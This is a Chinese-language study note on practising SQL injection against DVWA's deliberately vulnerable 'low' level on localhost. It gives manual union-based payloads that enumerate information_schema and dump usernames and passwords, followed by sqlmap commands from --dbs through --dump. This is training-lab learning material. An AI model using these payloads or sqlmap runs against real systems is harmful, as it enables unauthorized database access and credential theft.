dvwa-sql-显注-low
就拿dvwa学习一下sql的手工注入,以及sqlmap的使用
做些笔记
tip
concat_ws(1,2,3): 使用1作为连接符,连接2和3
方便从一个显示位,显示多种内容
char(32,58,32): char将其中的ascii值转成字符
这里是空格冒号空格
作为concat_ws使用,比较美观
low
源码
1 |
|
手工注入
输入
'
,发现有报错,说明很可能有sql注入1' order by 2#
猜解列数order by后面加数字时,表示按第几列进行排序
如果没有那列的话,就会报错
该步的目的,是为了使用union select
因为union select 要求两者的列数相同,才能进行查询
1' union select 1,2#
爆显示位从输入中,可以发现,两个都能显示出来
也就是说,每次可以查询两个地方
1' union select version(),database()#
查询一下sql版本和当前数据库名称
sql版本很重要,因为版本>(多少我忘了><)时,会有一个
information_schema
数据库,里面有好多好多好东西1' union select null,concat_ws(char(32,58,32),user(),database(),version())#
另一种方法,会在第二个显示位一起爆出用户、数据库及其版本信息
1' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
版本比较大,所以有
information_schema
;得知数据库名后,就可以查表了可以看出dvwa中有两个表
guestbook
andusers
明显users重要点,所以下一步查users的列
1' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #
其中
user
和password
看起来比较重要1' union select null, group_concat(concat_ws(char(32,58,32),user,password)) from users #
如果不想显示在一条上,而是分开查询的话,把group_concat删了就行
查表
1' union select null,table_name from information_schema.tables where table_schema='dvwa' #
查列
1' union select null,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
查内容
1' union select null, concat_ws(char(32,58,32),user,password) from users #
sqlmap
准备好网址
在id中输入1,是的url中包含参数名称
1
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#
准备好cookie
1
security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1
打开sqlmap,输入
1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch
康康有没有sql注入
- -u参数指定目标URL
- –batch参数采用默认选项,不进行询问
- –cookie参数指定cookie
可以看到是存在注入的
查看所有的数据库
1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch --dbs
- –dbs所有数据库
所以我们要用的应该是dvwa那个库,然后康康里面有什么表
1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa --tables
- -D参数指定为dvwa数据库
- –tables参数查看所有的表
查看users表中的列
1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa -T users --columns
- -T参数指定表为users
- –columns查看该表的所有列
最后看看整个表中都有什么
1
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa -T users --dump
- –dump参数将所有列的信息都列出来